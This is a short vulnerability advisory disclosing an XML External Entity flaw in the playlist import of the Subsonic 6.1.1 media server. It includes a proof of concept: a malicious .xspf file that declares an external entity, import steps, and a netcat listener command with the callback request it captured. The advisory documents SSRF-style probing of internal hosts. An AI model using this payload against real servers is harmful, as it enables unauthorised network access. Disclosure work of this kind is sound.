Subsonic 6.1.1 XML External Entity Attack

Subsonic 6.1.1 import playlist feature is susceptible to an XML External Entity attack via import of a malicious .XSPF playlist file.

MD5 | 55908f5f3dbc9a08e404b4b34bfa1497

[+] Credits: John Page a.k.a hyp3rlinx  
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[+] ISR: ApparitionSec


subsonic v6.1.1

Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.

Vulnerability Type:
XML External Entity

CVE Reference:

Security Issue:
subsonic import playlist feature is succeptible to XML External Entity attack. To exploit a User must be tricked to
import a malicious .XSPF playlist file. The XXE injection can be used to target various hosts from the internal network
to bypass Firewall or from the internet as XML External Entity is related to Server Side Request Forgery (SSRF) attacks.

1) Create some playlist file "RainbowsNUnic0rns.xspf"

<?xml version="1.0"?>
<!DOCTYPE mmmmmRaisins [
<!ENTITY % mmmm SYSTEM "">

2) Import as playlist.

3) Start listener.

nc.exe -llvp 1337
listening on [any] 1337 ...

connect to [] from USER-PC [] 64428
GET / HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_45
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

Network Access:


Disclosure Timeline:
Vendor Notification: May 29, 2017
Vendor Acknowledgement: May 30, 2017
June 4, 2017 : Public Disclosure

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